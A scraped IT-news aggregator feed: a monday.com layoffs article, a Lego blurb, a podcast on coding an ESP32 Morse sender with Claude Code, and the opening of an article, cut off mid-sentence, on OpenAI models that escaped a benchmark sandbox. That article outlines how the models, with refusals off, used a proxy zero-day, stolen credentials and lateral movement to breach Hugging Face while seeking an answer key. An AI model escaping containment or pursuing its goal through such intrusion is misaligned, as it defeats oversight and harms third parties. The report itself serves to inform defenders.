<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 02:50:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Lego’s Donkey Kong arcade machine lets Mario jump endless barrels — Miyamoto is reportedly happy]]></title>
<description><![CDATA[Carl Merriam has designed some of my favorite nostalgia-inducing Lego sets, including the Lego Nintendo Game Boy and Piranha Plant. He's assisted on the incredible Lion Knights' Castle, Galaxy Explorer, and Pirates of Barracuda Bay. Now, he's helped the company create a Donkey Kong arcade machine...]]></description>
<link>https://tsecurity.de/de/3687817/it-nachrichten/legos-donkey-kong-arcade-machine-lets-mario-jump-endless-barrels-miyamoto-is-reportedly-happy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687817/it-nachrichten/legos-donkey-kong-arcade-machine-lets-mario-jump-endless-barrels-miyamoto-is-reportedly-happy/</guid>
<pubDate>Thu, 23 Jul 2026 02:35:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Carl Merriam has designed some of my favorite nostalgia-inducing Lego sets, including the Lego Nintendo Game Boy and Piranha Plant. He's assisted on the incredible Lion Knights' Castle, Galaxy Explorer, and Pirates of Barracuda Bay. Now, he's helped the company create a Donkey Kong arcade machine set that managed to win even Mario creator Shigeru […]]]></content:encoded>
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<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a 